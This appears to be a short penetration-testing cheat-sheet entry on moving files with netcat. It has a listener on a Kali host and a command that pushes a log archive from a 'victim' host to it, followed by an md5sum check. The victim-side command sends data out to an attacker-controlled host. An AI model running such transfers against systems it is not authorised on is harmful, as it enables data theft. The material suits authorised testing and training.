File Transfer with netcat
Pivoting & Transfertool
Summary
Transfers a file over a raw TCP connection: the receiver listens and redirects to a file, the sender pipes the file in; verify integrity with md5sum.
Walkthrough
Use netcat to move a file between two hosts over a plain TCP socket when no proper file-transfer service is available.
Steps
- On the receiving host (e.g. Kali), listen and redirect the stream to a file:
nc -lvnp 9001 > log.zip. - On the sending host (victim), connect to the listener and feed the file in:
nc <IP> 9001 < 2026-2-9.log.zip. - Run
md5sumon both ends to confirm the transfer was not corrupted.
Commands
bash
nc -lvnp 9001 > log.zip
bash
nc <IP> 9001 < 2026-2-9.log.zip
bash
md5sum <FILE>